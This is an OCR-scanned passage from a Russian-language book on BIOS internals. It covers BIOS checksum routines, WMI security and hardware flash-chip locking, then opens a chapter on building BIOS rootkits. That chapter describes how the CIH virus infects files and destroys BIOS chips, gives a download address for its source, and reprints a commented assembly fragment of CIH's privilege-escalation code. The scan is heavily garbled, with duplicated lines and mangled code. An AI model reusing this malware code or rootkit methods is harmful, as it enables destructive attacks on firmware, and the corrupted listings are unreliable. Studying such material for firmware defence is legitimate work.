F000:0457 66 83 C6 04
addesi, 4
F000:045B 67 E2 F5
loopd next_dword
F000:045E 66 0B CO
oreax, eax
F000:0461 C3
retn
FOOD:0461
Calc_Conponent_CRC endp
Из листингов 11.19 и 11.20 ясно видно, что процедуры проверки контрольной суммы, приведенные в них, являются разновидностями процедуры для вычисления контрольной суммы. Кроме того, существует вероятность, что механизм проверки контрольной суммы может быть встроен и в другие процедуры POST AMI BIOS.
Меры безопасности по удаленному управлению сервером
Как было показано в главе 10, удаленное низкоуровневое управление невозможно вне контекста операционной системы. Даже если основная операционная система на удаленном компьютере загружается через сеть, этот компьютер должен иметь хоть какое-то локальное программное обеспечение, подобное операционной системе, которое и будет обслуживать ПО для удаленного управления. В этом разделе основное внимание уделяется широко применяемому интерфейсу удаленного управления — инструментарию WML Для UNIX-подобных операционных систем единого подхода к реализации WBEM не существует. Поэтому в данной книге рассматривается только инструментарий WMI. При этом рассматриваются только меры безопасности этого инструментария, призванные предотвратить удаленные атаки. SMBIOS также не рассматривается, потому что кроме защиты паролем администратора, в ней нет иных мер безопасности. В главе 10 было показано, что получение прав администратора означает получение неограниченного доступа к информации, содержащейся в структурах SMBIOS.
Инструментарий WMI предоставляет двухуровневый механизм безопасности- Первый уровень состоит в аутентификации на уровне операционной системы* где пользователь должен предоставить необходимую информацию для вхоДа в систему. Меры безопасности второго уровня состоят в разграничении Д°с
тупа на уровне пространства имен. Пользователю, подключившемуся к компьютеру, принадлежащему к корпоративной сети, будет предоставлен доступ к информации WMI в этой вычислительной среде только в том пространстве имен, которое было ему назначено. То же самое справедливо и для удаленных приложений WMI. Приложение WMI может иметь доступ только к тем процедурам или данным WMI на удаленной машине, которые находятся в контексте пространств имен, предоставленных ему удаленным компьютером при установлении соединения. Контекст пространств имен зависит от информации, предоставленной приложением WMI удаленному компьютеру при подключении. Таким образом, двухуровневый механизм безопасности приложений WMI существенно усложняет его взлом. Но так как инструментарий WMI и информационные сервисы Интернета тесно связаны, последние часто избираются как слабое звено для атаки на внутренние ресурсы сети' Этому особенно способствует то обстоятельство, что в интерфейсе сценариев инструментария WMI имеется ряд хорошо известных уязвимостей.
Уязвимости приложения WMI представляют серьезную опасность, так как они потенциально могут дать злоумышленнику возможность получить неограниченный доступ ко всей сети предприятия и предоставить ему широкий набор средств удаленного контроля над ресурсами предприятия. Даже если злоумышленник получит лишь временный доступ, за это время он может успеть внедрить "лазейку" в любое уязвимое звено сетевой инфраструктуры, что обеспечит ему дальнейший доступ к ресурсам организации.
Аппаратные меры безопасности
Эффективным средством против несанкционированных манипуляций с содержимым BIOS могут быть аппаратные меры безопасности. В этом разделе рассматриваются внутренние меры безопасности чипа BIOS.
Некоторые чипы BIOS имеют внутренние регистры, предназначенные для контроля доступа с правом чтения и записи содержимого чипа. Так, чипы флэш-ROM серии Winbond W39V040FA имеют внутренние регистры, которые называются регистрами BLR (block locking registers — регистры "запирания" блока). С помощью этих регистров можно полностью заблокировать Доступ для чтения и записи чипа. Это сделает чип недоступным даже для такого низкоуровневого программного обеспечения, как драйверы устройств.
554 Часть IV. Внесение изменений в код BlQs Местоположение этих регистров в общесистемной таблице адресов показано В табл. 11.I.
Таблица 11.1. Типы регистров BLR и соответствующие диапазоны адресов для чипа Winbond W39V040Fд
Регистр
Тип регистра
Блок управления
Физический адрес устройства
Адрес в 4-гигабайтном системном адресном пространстве
BLR7
R/W
7
7FFFFh-70000h
FFBF0002h
BLR6
R/W
6
6FFFFh-60000h
FFBE0002h
BLR5
R/W
5
5FFFFh-50000h
FFBD0002h
BLR4
R/W
4
4FFFFh-40000h
FFBC0002h
BLR3
R/W
3
3FFFFh-30000h
FFBB0002h
BLR2
R/W
2
2FFFFh-20000h
FFBA0002h
BLR1
R/W
1
IFFFFh-lOOOOh
FFB90002h
BLR0
R/W
0
OFFFFh-OOOOOh
FFB80002h
В столбце физический адрес устройства в табл. 11.1 показаны физические адреса регистров BLR относительно начала чипа, а не в общесистемном адресном пространстве. Назначение битов регистра BLR показано в табл. 11.2.
Таблица 11.2. Функции битов регистра BLR
Бит
Функция
7-3
Зарезервировано
2
Блокировка чтения
1: Чтение соответствующего блока запрещено
0: Чтение соответствующего блока разрешено. Это значение устанавливается по умолчанию
Таблица 11.2 (окончание)
Бит
Функция
1
Блокировка битов управления
1: Запрещено дальнейшее изменение битов управления блокировки чтения и записи.
Этот бит может быть только установлен, и его сбрасывание недопустимо. Сброс бита производится выполнением сброса устройства (reset) или же выключением и последующим включением питания устройства.
0: Нормальный режим работы битов управления блокировкой чтения и записи. Это значение устанавливается по умолчанию.
0
Блокировка записи.
1: Запись в соответствующий блок запрещена. Это значение устанавливается по умолчанию.
0: Операции записи или очистки соответствующего блока разрешены
Как видно из табл. 11.2, с помощью бита блокировки битов управления (бит 1), а также с помощью битов блокировки чтения и записи, доступ к чипу W39V040FA можно заблокировать полностью. Бит блокировки битов управления может быть установлен только на единицу, и при нормальных условиях его сброс недопустим. Сброс этого бита можно осуществить только посредством перезапуска системы или же посредством ее обесточивания и последующего включения. Таким образом, если код BIOS установит этот бит при инициализации системы, изменить его состояние программными средствами будет невозможно. Более того, если кроме этого бита также установлены биты блокировки чтения (бит 2) и записи (бит о), чип BIOS становится полностью недоступным из операционной системы. Иначе говоря, его содержимое невозможно будет ни прочитать, ни изменить. Даже если вы и сможете прочитать что-либо из адресного пространства чипа, эти результаты окажутся неверными. Я экспериментировал с установками этих битов и поделюсь здесь результатами этих экспериментов. Для моих экспериментов я пользовался модифицированной версией утилиты bios_probe, рассмотренной в главе 9. Номер версии этой модификации утилиты bios_probe — 0.35. Для обеспечения поддержки блокировки битов управления в этой версии b^°s_^robe, модификации подверглись файлы flash_rom.c, w39v040fa.c и ^9v040fa.h. Начнемрассмотрение этих модификаций с файла flashrom.c. У^Дификации файла flash_rom.c, внесенные с целью добавления поддержки Функции блокировки чипа BIOS, показаны в листинге 11.21.
Листинг 11.21. Модификации файла flash_rom.c для поддержки функции блокировки чипа
// Часть строк кода опущена, как не являющаяся необходимой
// для понимания рассматриваемого процесса.
void try_lock_w39v040fa()
/*++
Описание процедуры:
Полностью запрещает доступ к чипу Winbond W39V040FA.
Доступ запрещается как для чтения, так и для записи.
Аргументы:
Нет.
Возвращаемое значение:
Нет.
Примечание:
- Это экспериментальная функция. В последующих версиях утилиты bios_probe она присутствовать не будет.
— */
{ struct flashchip * flash;
if ((flash = probe_flash (flashchips)) == NULL) {
printf("EEPROM not foundXn");
// Чип BIOS не обнаружен.
return;
}
if( 0 == strcmp(flash->name, "W39V040FA"))
{
printf("Disabling accesses to W39V040FA chip...\n");
// Запрещаем доступ к чипу W39V040FA.
Iock_39v040fa(flash);
} else {
printf("Unable to disable access to flash ROM. The chip is not " "W39V040FA\n") ;
// He в состоянии запретить доступ к чипу BIOS. Не W39V040FA чип.
}
)
vOjd usage(const char *name)
printf("usage: %s [-rwv] [c chipname][file]\n", name) ;
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
printf("%s -lock \n", name);
printf( "~r:read flash and save into file\n"
// Читаем чип ROM и сохраняем в файл.
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
"-lock: disable access to Winbond W39V040FA flash chip"); // Блокировать доступ к чипу флэш ROM W39V040FA.
exit(1);
)
int main (int argc, char * argv[])
(
int read_it = 0, write_.it = 0, verify_it = 0, pci_rom_read = 0, pci._rom_write - 0, pci_rom_erase = 0, smbios_dump = 0, Iock_w39v040fa = 0;
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
) else if(!strcmp(argv[l],"-lock")) { 1ock_w3 9vO4 0 fa = 1;
)
И Часть строк кода опущена, как не являющаяся необходимой для понимания рассматриваемого процесса.
И
// Если это запрос на блокировку чипа BIOS, пробуем запретить // доступ к чипу Winbond W39V040FA.
И
if( Iock_w39v040fa ) (
try_lock_w39v040fa() ;
CleanupDriver(); // Освобождаем ресурсы интерфейса драйвера, return 0;
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
)
Функция try_iock_w39v040fa в листинге 11.21 инициирует процесс блокировки чипа. Эта функция вызывается функцией main при запуске bios_probe с входным параметром -lock. Если чип флэш-ROM представляет собой чип Winbond W39V040FA, функция try_iock_w39v040fa, в свою очередь, вызывает функцию lock_39v040fa, чтобы активизировать механизм блокировки чипа. Функция lock_39v040fa объявлена в файле w39v040fa.h. Содержимое этого файла показано в листинге 11.22.
Листинг 11.22. Объявление функции Iock_39v040fa
#ifndefW39V040FA_H__
#defineW39V040FA_H__ 1
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
extern void lock_39v040fa (struct flashchip flash); // Импровизированное решение.
#endif /*W39v040FA_H__ */
Функция lock_39v040fa реализована в файле w39v040fa.c. Содержимое этого файла показано в листинге 11.23.
Листинг 11.23. Определение функции iock_39v040fa
void lock_39v040fa(struct flashchip * flash) {
int i;
unsigned char byte_val;
volatile char * bios = flash->virt_addr;
volatile char * dst = bios;
volatile char * blr_base = NULL;
inyusec_delay (10) ;
blr_base = (volatile char*) MapPhysicalAddressRange( BLOCK_LOCKING_REGS_PHY_BASE, BLOCK_LOCKING_REGS_PHY_RANGE);
if (blr_base == NULL) {
perror( "Error: Unable to map Winbond w39v040fa block locking" "registers!\n");
// Ошибка отображения регистров блокировки // чипа Winbond w39v040fa.
return;
}
И
// Полностью отключаем доступ к чипу Winbond W39V040FA.
//
for( i = 0; i < 8; i++ ) (
byte_val = *(blr_base + i*0xl0000);
byte_val |= 0x7; // Устанавливаем биты блокировки битов // управления, чтения и записи чипа.
*(blr_base + i*0xl0000) = byte_val; )
UnmapPhysicalAddressRange((void*) blr_base,
LOCK_LOCKING_REGS_PHY_RANGE);
Таким образом, модификации утилиты bios_probe, необходимые для добавления к этой утилите функции блокировки чипа ROM BIOS, изложены в листингах 11.21—11.23.
Рассмотрим результаты работы этой модифицированной утилиты. Сначала посмотрим на результаты чтения содержимого чипа BIOS до активации механизму блокировки чипа. Соответствующие результаты показаны в листинге 11.24.
Листинг 11.24. Фрагмент содержимого чипа BIOS до активации механизма блокировки чипа.
Шестнадцатеричные значения Значения ASCII
°°оооооо
494D
4424
2900
5100
4100
0013
0000
0102
IMD$).Q.A
°°000010
00Е0
0307
90DE
CB7F
0000
0000
3750
686F
7Pho
°°000020
656Е
6978
2054
6563
686Е
6F6C
6F67
6965
enix Technologie
и°000030
732С
204С
5444
0036
2Е30
3020
5047
0031
s, LTD.6.00 PG.l
00000040 322F 3238 2F32 3030 3400 0022 0001 1901 2/28/2004..".... 00000050 0001 0203 04FF FFFF FFFF FFFF FFFF FFFF 00000060 FFFF FFFF FF06 2000 2000 2000 2000 001D 00000070 0002 0802 0001 0203 0420 0049 3836 3550 1865P
00000080 452D 5738 3336 3237 0020 0020 0000 1600 E-W83627 00000090 030D 0300 0103 0203 0402 0202 0220 0020 000000A0 0020 0020 0000 4A00 0420 0400 0103 0F02 . . . . J 000000B0 290F 0000 FFFB EBBF 038E 6400 FAQB D007 )d
000000C0 4104 CAOO 0B00 FFFF 536F 636B 6574 2034 ASocket 4
000000D0 3738 0049 6E74 656C 0049 6E74 656C 2852 78.Intel.Intel(R 000000E0 2920 4365 6C65 726F 6E28 5229 2043 5055 ) Celeron(R) CPU
0007FFB0 0000 0000 0000 0000 0000 0000 0000 0000
0007FFC0 0000 0000 0000 0000 0000 0000 0000 0000
0007FFD0 0000 0000 0000 0000 0000 0000 0000 0000
0007FFE0 0000 0000 0000 0000 3641 3739 4144 3447 6A79AD4G
0007FFF0 EA5B E000 F02A 4D52 422A 0200 0000 60FF .[...*MRB*....*.
Теперь посмотрим на результаты активации механизма блокировки чипа. На рис. 11.4 показан запуск утилиты bios_probe с аргументом -lock и результаты выполнения этой операции.
Рис. 11.4. Запрещение доступа к чипу Winbond W39V040FA
Рис. 11.5. Чтение содержимого чипа BIOS после его блокировки
Запуск утилиты bios_probe с опциями чтения содержимого чипа и сохранения его в файл, а также результаты работы этой утилиты показаны на рис. 11.5.
Если судить по рис. 11.5, то может сложиться впечатление о том, что чтение было выполнено благополучно. Однако на практике это совсем не так. Просмотр содержимого файла дампа чипа BIOS (листинге 11.25) ясно показыва- ет1 что полученный результат не имеет никакой ценности.
Листинг 11.25. Фрагмент дампа содержимого чипа BIOS, сохраненного после блокировки чипа
^ДРесШестнадцатеричные значенияЗначения ASCII
°0000000 0000 0000 0000 0000 0000 0000 0000 0000 °0000010 0000 0000 0000 0000 0000 0000 0000 0000 00000020 0000 0000 0000 0000 0000 0000 0000 0000 °°000030 0000 0000 0000 0000 0000 0000 0000 0000 00000040 0000 0000 0000 0000 0000 0000 0000 0000
00000050 0000 0000 0000 0000 0000 0000 0000 0000
00000060 0000 0000 0000 0000 0000 0000 0000 0000
00000070 0000 0000 0000 0000 0000 0000 0000 0000
00000080 0000 0000 0000 0000 0000 0000 0000 0000
00000090 0000 0000 0000 0000 0000 0000 0000 0000
000000А0 0000 0000 0000 0000 0000 0000 0000 0000
000000В0 0000 0000 0000 0000 0000 0000 0000 0000
000000С0 0000 0000 0000 0000 0000 0000 0000 0000
000000D0 0000 0000 0000 0000 0000 0000 0000 0000
000000Е0 0000 0000 0000 0000 0000 0000 0000 0000
0007FFB0 0000 0000 0000 0000 0000 0000 0000 0000
0007FFC0 0000 0000 0000 0000 0000 0000 0000 0000
0007FFD0 0000 0000 0000 0000 0000 0000 0000 0000
0007FFE0 0000 0000 0000 0000 0000 0000 0000 0000
0007FFF0 0000 0000 0000 0000 0000 0000 0000 0000
Листинг 11.24 показывает дамп содержимого чипа BIOS после его блокировки. Как видите, полученный дамп не отображает действительного содержимого чипа. Содержимое каждого байта диапазона адресов чипа BIOS не может быть равно ooh, так как это совсем не те значения, которые отображались до блокировки доступа к чипу. В этом легко убедиться, сравнив содержимое листинга 11.24 с содержимым листинга 11.25. Исходя из этого, можно заключить, что после того, как чип BIOS был заблокирован, он не отвечает на запросы на чтение. Результаты дампа содержимого чипа, полученного после попытки записи в заблокированный чип BIOS, также оказались неправильными. В действительности, после блокировки, попытка записи в чип BIOS не изменяет его содержимого. В этом можно убедиться, просмотрев его содержимое после перезапуска компьютера.
Таким образом, результаты проведенных экспериментов дают основание заключить, что должным образом реализованные аппаратные меры безопасности являются эффективным средством для предотвращения несанкционированной модификации содержимого чипа BIOS. К сожалению, эту меру безопасности можно реализовать только в BIOS материнской платы. Содер^ жимое BIOS плат расширения, хранящееся в чипе, установленном на самой плате расширения, а не являющееся частью BIOS материнской платы, легко поддается несанкционированным модификациям.
Кроме того, некоторые производители материнских плат неправильно реали зуют функцию блокировки чипа BIOS материнской платы. В таких платах, при выборе в BIOS Setup установки enabled (включено) для активации опииИ защиты BIOS (BIOS flash protect), устанавливается только бит блокировки
записи чипа BIOS, а бит блокировки битов управления не устанавливается. g таком случае сбросить бит блокировки записи очень просто. Эта операция с легкостью осуществляется как в Windows, так и в Linux, после чего стано- рится возможной запись в данный чип. Методы, позволяющие осуществить модификацию содержимого чипа BIOS в Windows и Linux (в том числе, и сбросить бит блокировки записи), были описаны в главе 9. Результаты такой записи, сделанной приложением злоумышленника, в комментариях не нуждаются.
Теперь рассмотрим другое аппаратное решение, которое, по заявлениям его производителей, якобы также позволяет предотвратить несанкционированную модификацию содержимого чипа BIOS. Речь идет о так называемом решении двойной BIOS, в котором применяется два чипа BIOS на случай выхода из строя одного из чипов. Некоторые производители материнских плат с установленными двойными чипами BIOS заявляют, что эта мера защищает BIOS от вирусов. Этот вид защиты действительно предохраняет от старых вирусов, например, таких, как CIH (Chernobyl), которые разрушают содержимое чипа BIOS, вследствие чего компьютер не может загрузить операционную систему. Но, как уже говорилось, аппаратная защита предохраняет содержимое чипа BIOS от несанкционированной модификации только тогда, когда чип полностью недоступен или, по крайней мере, когда его бит блокировки записи и бит блокировки управляющих битов установлены. Двойная BIOS не предоставляет защиты от "правильной" несанкционированной модификации BIOS, потому что до тех пор, пока содержимое основного чипа BIOS доступно для загрузки, система будет загружаться с этого чипа. В этом отношении, под "правильной" модификацией содержимого чипа BIOS имеется в виду такая модификация, которая не нарушает способности системы загрузиться с него. В этом случае, система даже не будет "знать" о том, что содержимое чипа BIOS было модифицировано. При условии, что модификация не выведет BIOS из строя, она будет рассматриваться системой точно так же, как и первоначальное содержимое чипа BIOS. Например, вставка кода в BIOS является допустимой модификацией BIOS с точки зрения двойной BIOS, так как система все равно загрузится с основного чипа BIOS. Таким образом, двойная BIOS может быть эффективной защитой против виру-
сов, которые разрушают содержимое BIOS. Но она не предоставляет защиты против вирусов, которые модифицируют BIOS, не выводя ее из строя. Компания Gigabyte Technology — один из производителей материнских плат с двумя чипами BIOS. На начальной стадии загрузки операционной системы код BIOS проверяет контрольную сумму модуля BIOS. В случае неправильной контрольной суммы, исполняемый в настоящее время код BIOS переключает исполнение на запасной чип BIOS. Я не знаю, каким именно образом осуществляется проверка контрольной суммы и переключение исполнения на запасной чип, так как я никогда не занимался дизассемблированием двоичных файлов BIOS для материнских плат с двойным чипом BIOS. Единственное, что я могу сказать в этом отношении, так это то, что, судя по информации, изложенной в техническом руководстве на материнскую плату, похоже, что проверка контрольной суммы выполняется в коде блока начальной загрузки. Если у вас имеется желание разобраться с двойной BIOS более подробно, для начала вы можете прочитать раздел 4.1.3, "Flash BIOS Method Introduction", посвященный методам работы с флэш-BIOS в техническом руководстве на материнскую плату GA-965P-DS4 компании Gigabyte Technology.
Глава 12
Разработка руткитов BIOS
Введение
В предыдущих главах мы изучили основные методы взаимодействия со встроенным программным обеспечением компьютеров. В этой главе мы рассмотрим, как объединить эти методы в универсальный инструмент взлома — руткит BIOS. В боевом искусстве ниндзюцу методы, рассматриваемые в этой главе, были бы методами киндзюцу, т. е. запрещенными приемами. Методы, приведенные в этой главе, должны применяться только программистами с высоким уровнем знаний и опыта, так как они очень сложны, рискованны и могут нанести неустранимые повреждения вашей системе. Если вы не полностью понимаете механизм работы какого-либо из этих методов, ни в коем случае не пробуйте применить его на практике. Я вас предупредил, и таким образом вся ответственность за последствия применения этих методов лежит исключительно на вас. Но перед тем как приступить к созданию руткита BIOS, проведем обзор истории взломов BIOS.
История взломов BIOS
Во всей истории компьютеров архитектуры х86 был только один случай серьезного вирусного инфицирования BIOS ПК. Виновником этой вирусной эпидемии был вирус CIH, написанный Чен Инг Хау (Chen Ing Hau) из ТайваНя. Существует несколько разновидностей вируса CIH. В этом разделе пока- эан фрагмент исходного кода вируса CIH версии 1.5. В данном фрагменте Реализован метод, применяемый вирусом CIH для вывода из строя BIOS, не вдаюсь в подробности механизма инфицирования, применяемого виру- с°м CIH, так как основной целью данной главы является изучение методов ^ля создания руткита BIOS. Исходный код вируса CIH можно скачать по адРесУ http://vx.netlux.org/src_view.php?file=cihl5.zip. Данный веб-сайт имеет
опцию поиска, которой можно воспользоваться с тем, чтобы найти и другие версии исходного кода вируса CIH.
Как и в случае с другими вирусами, код вируса CIH запутан и сложен. Из-за многочисленных инструкций перехода, в нем трудно разобраться. Прежде чем изучать работу отдельных фрагментов этого вируса, рассмотрим общие принципы его работы. Механизм исполнения вируса CIH 1.5 следующий:
Инфицируются исполняемые файлы, в особенности файлы формата Р£ (portable executable — переносимый исполняемый). В этом контексте, файлы формата РЕ — это файлы, исполняемые на компьютерах платформы Windows.
Модифицируется таблица IDT (interrupt descriptor table — таблица дескрипторов прерываний). В нее вставляется вектор обработчика исключений, указывающий на специальный обработчик исключений в коде вируса.
Генерируется исключение, задача которого — переключить исполнение в режим ядра. Коды режима ядра находятся в специальной процедуре обработки исключений вируса.
Пункты 2 и 3 подразумевают, что код вируса должен быть способным модифицировать элементы таблицы IDT во время исполнения в пользовательском режиме. Это означает, что вирус CIH не может исполняться на версиях Windows, основанных на ядре Windows NT. К их числу относятся Windows NT, Windows 2000, Windows XP и более новые версии. В этих системах приложения пользовательского режима не имеют доступа к таблице IDT. Вирус CIH может исполняться только на системах типа Windows 9х. В таких системах приложения пользовательского режима могут модифицировать таблицу IDT.
Специальный обработчик исключений устанавливает перехватчик обращений к файловой системе с тем, чтобы инфицировать исполняемые файлы. Перехватчик обращений к файловой системе также содержит контролируемый по времени код для вывода из строя системы.
материнскихматеринскихДля запуска кода вывода системы из строя проверяется текущая дата. Если текущая дата совпадает с предопределенной датой активизации, запускается код вывода системы из строя. Сразу же после заражения деструктивных действий не выполняется.
материнских
материнских
Этот код разрушает содержимое чипа BIOS в системах на
платах с чипсетами, в которых используется чип южного моста Intel
1 Этот чип южного моста применяется с чипсетами 440ВХ, 430ВХ и 440GX компании Intel. Аббревиатура PIIX означает PCI-to-ISA/IDE Xcelerator (акселератор PCI-k-ISA/IDE)-
Кроме того, уничтожается содержимое жесткого диска. В этом разделе код, затирающий содержимое жесткого диска, в подробностях не рассматривается, и основное внимание уделяется коду, разрушающему BIOS. Приблизительная схема размещения компонентов вируса CIH показана на рис. 12.1.
Исходный код вируса CIH
Сегмент шаблонаисполняемых файлов
Сегмент кода вирусаСегмент кода вирусаПроцедура модификации таблицы IDT (Работает в пользовательском режиме) Процедура обработчика исключений (Работает в режиме ядра)Процедура модификации таблицы IDT (Работает в пользовательском режиме) Процедура обработчика исключений (Работает в режиме ядра)Процедура перехватчика API файловой системы (Работает в режиме ядра)Процедура перехватчика API файловой системы (Работает в режиме ядра)Рис. 12.1. Схема размещения компонентов вируса CIHРис. 12.1. Схема размещения компонентов вируса CIH
Сегмент кода вируса
Сегмент кода вируса
Процедура модификации таблицы IDT (Работает в пользовательском режиме) Процедура обработчика исключений (Работает в режиме ядра)
Процедура модификации таблицы IDT (Работает в пользовательском режиме) Процедура обработчика исключений (Работает в режиме ядра)
Процедура перехватчика API файловой системы (Работает в режиме ядра)
Процедура перехватчика API файловой системы (Работает в режиме ядра)
Рис. 12.1. Схема размещения компонентов вируса CIH
Рис. 12.1. Схема размещения компонентов вируса CIH
Как показано на рис. 12.1, исходный код вируса CIH разбит на два логических сегмента. Первый сегмент используется как шаблон для инфицированных файлов, а второй — для процедур вируса. Второй сегмент подразделен на три части — процедуру модификации таблицы IDT, процедуру обработчика исключений и процедуру перехватчика интерфейса API файловой системы. Содержимое первого сегмента в подробностях не рассматривается. Если вы хотите разобраться с его работой самостоятельно, я могу порекомендовать прочесть хорошее учебное пособие по этому предмету. Великое множество таких пособий и руководств можно найти в Интернете. Весь код, с работой которого необходимо ознакомиться на данном этапе, находится во втором сегменте. Краткое описание алгоритма работы вируса было дано при рассмотрении механизма его исполнения. Теперь рассмотрим исходный код второго сегмента вируса, снабженный подробными комментариями (листинг 12.1).
Листинг 12.1. Исходный код второго сегмента вируса CIH
virusGame SEGMENT
ASSUMECS:VirusGame, DSzVirusGame, SSzVirusGame
ASSUMEES:VirusGame, FS:VirusGame, GS:VirusGame
l9 Зак 1387
; * Первоначальное приложение пользовательского
; * режима(Ring3) Virus Game
MyVirusStart:
push ebp
; * Проверяем запущенную операционную систему. * ; * Если это Windows NT, нужно сразу же вернуть * ; * управление, так как вирус в этой ОС работать не будет. * ; * Для этого необходимо перехватить и модифицировать * . * структурную обработку исключений (SEH), что позволит * ; * предотвратить возникновение ошибок исключений * ; * (см. далее инструкцию sidt, * ; * которая в Windows NT вызовет General Protection Fault) *
* SEH — это цепочка обработчиков, и вирус встраивается * ; * в нее под первым номером *
lea
eax,
[esp-04h*2]
хог
ebx,
ebx
xchg
eax,
fs:[ebx]
call
@0
; "Относительный" вызов процедуры @0.
@0:
pop
ebx
; (По адресу, отсчитываемому относительно конца ; кода этой операции.)
; ebx = адрес возврата -> т. е. адрес сразу же
lea
ecx,
; после вызова кода операции во время исполнения.
StopToRunVirusCode-@0[ebx]; ecx = StopToRunVirusCode - @0
push
ecx
;+ ebx, т. e.
; ecx = адрес метки StopToRunVirusCode
; во время исполнения
; Сохраняем в стек адрес метки
push
eax
; StopToRunVirusCode
; во время исполнения.
; Сохраняем в стек fs:[0]
* Модифицируем таблицу IDT
push еахpush еах* чтобы получить права нулевого кольца
push еах
push еах
; Проталкиваем в стек фиктивную
; "метку-заполнитель"
; для базового адреса таблицы IDT.
sidt
[esp-02h]; Получаем адрес таблицы IDT;
; сохраняем его в стеке.
; (esp-2 = 16-битная граница таблицы IDT)
pop add
ebx; ebx = базовый адрес таблицы IDT(32 бита)
ebx, HookExceptionNuiriber*08h+04h
; ZF = 0;
; ebx = указатель на модифицированный ; элемент таблицы IDT.
cli
; Запрещаем маскируемое прерывание;
; исключение все еще разрешено.
mov
ebp, [ebx]; Сохраняем базовый адрес обработчика
; исключения (биты 16-31) в ebp.
mov ebp, [ebx]; Сохраняем базовый адрес обработчика
lea
; исключения (биты 0-15) в ebp.
esi, MyExceptionHook-@l[ecx]
; esi = MyExceptionHook -
i StopToRunVirusCode + адрес при
; исполнении метки StopToRunVirusCode
push
; т. е. esi = адрес
; метки MyExceptionHook во время исполнения.
esi; Сохраняем в стек адрес
mov
; метки MyExceptionHook во время исполнения. [ebx-04h], si; Модифицируем адрес точки входа
; обработчика исключения
; (биты 0-15)
shr
esi, 16; si = адрес точки входа обработчика исключения
; (биты 16-31).
mov
[ebx+02h], si; Модифицируем адрес точки входа
; обработчика исключения ; (биты 16-31)
Pop
esi; esi = адрес
; метки MyExceptionHook во время исполнения.
int HookExceptionNuiriberint HookExceptionNuiriberГенерируем исключение, чтобы получить права нулевого кольца (Ring 0)
int HookExceptionNuiriber
int HookExceptionNuiriber
; Создаем исключение -> переходим к
; процедуре MyExceptionHook -> выделяем
^eturnAddressOfEndException = $^eturnAddressOfEndException = $системную память для этого вируса.системную память для этого вируса.
^eturnAddressOfEndException = $
^eturnAddressOfEndException = $
системную память для этого вируса.
системную память для этого вируса.
; * Соединяем все секции кода вируса
push esi mov esi, eaxpush esi mov esi, eax; esi = адрес выделенной системной памяти; esi = адрес выделенной системной памяти
push esi mov esi, eax
push esi mov esi, eax
; esi = адрес выделенной системной памяти
; esi = адрес выделенной системной памяти
LoopOfMergeAllVirusCodeSection:movecx,[eax-04h]repmovsbsubeax,08hmovesi,[eax]or esi, esijz QuitLoopOfMergeAllVirusCodeSectionjmp LoopOfMergeAllVirusCodeSectionQuitLoopOfMergeAllVirusCodeSection:pop esiLoopOfMergeAllVirusCodeSection:movecx,[eax-04h]repmovsbsubeax,08hmovesi,[eax]or esi, esijz QuitLoopOfMergeAllVirusCodeSectionjmp LoopOfMergeAllVirusCodeSectionQuitLoopOfMergeAllVirusCodeSection:pop esi; ecx = VirusSize -> Подсказка:; смотрим в конце OriginalAppEXE; Копируем вирус в системную память; При первом проходе, esi = О; ZF = 1; ecx = VirusSize -> Подсказка:; смотрим в конце OriginalAppEXE; Копируем вирус в системную память; При первом проходе, esi = О; ZF = 1
LoopOfMergeAllVirusCodeSection:
movecx,[eax-04h]
repmovsb
subeax,08h
movesi,[eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
LoopOfMergeAllVirusCodeSection:
movecx,[eax-04h]
repmovsb
subeax,08h
movesi,[eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
; ecx = VirusSize -> Подсказка:
; смотрим в конце OriginalAppEXE
; Копируем вирус в системную память
; При первом проходе, esi = О
; ZF = 1
; ecx = VirusSize -> Подсказка:
; смотрим в конце OriginalAppEXE
; Копируем вирус в системную память
; При первом проходе, esi = О
; ZF = 1
Опять генерируем исключение
int HookExceptionNumberint HookExceptionNumber; Создаем исключение опять-> переходим к
int HookExceptionNumber
int HookExceptionNumber
; процедуре MyExceptionHook -> устанавливаем ; перехватчик интерфейса файловой системы.
; * Восстанавливаем структурированную *
; * обработку исключения*
ReadyRestoreSE: sti xorebx, ebx
jmp ReStoreSE
; * Когда в Windows NT возникает ошибка GPF
; * (General Protection Fault)
; * эТоТ вирус прекращает исполнение.
; * Управление передается первоначальному ; * приложению.
gtopToRunVimsCode:
gj.=StopToRunVirusCode
xorebx,ebx
moveax,fs:[ebx]
movesp,[eax]
RestoreSE:
pop dword ptr fs:[ebx]
pop eaxpop eax; eax = адрес метки FileSystemApiHook во время исполнения
pop eax
pop eax
* Возвращаем управление исполнением *
* первоначальному приложению
pop ebppush 00401000bpop ebppush 00401000b; Проталкиваем точку входа; Проталкиваем точку входа
pop ebp
push 00401000b
pop ebp
push 00401000b
; Проталкиваем точку входа
; Проталкиваем точку входа
; первоначального приложения на стек.
OriginalAddressOfEntryPoint = $-4 ret; Возвращаемся к точке входа
; первоначального приложения
; * Первоначальное приложение режима ядра (RingO)
; * Virus Game *
MyExceptionHook:
= MyExceptionHook
jz InstallMyFileSystemApiHook ; Первый проход - переход не выполняется. ; Второй проход - переход выполняется
Проверяем, инфицирована ли уже система
movесх, drO
3ecxz AllocateSysterriMemoryPage ; При первом проходе переход ; выполняется потому, что
; значение по умолчанию для DR0 ; при загрузке равняется 0.
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
572
Часть IV. Внесение изменений в код Biq^
; Устанавливаем адрес возврата указывать на
; адрес метки ReadyRestoreSE во время исполнения
; * Возвращаемся к первоначальной программе ; * пользовательского режима (Ring3)
ExitRingOlnit: mov [ebx-04h], bp
shr ebp, 16
mov [ebx+02h], bp
; Восстанавливаем исключение
iretd
; Выполняем переход к метке ReadyRestoreSE
; * Выделяем страницу системной памяти
AllocateSystemMemoryPage:
mov drO, ebx push 00000000fh push ecx push Offffffffh
; Устанавливаем признак, инфицирования системы
; При первом проходе - проталкиваем 0
push ecx push ecx
; При первом проходе - проталкиваем 0
; При первом проходе - проталкиваем 0
push ecx
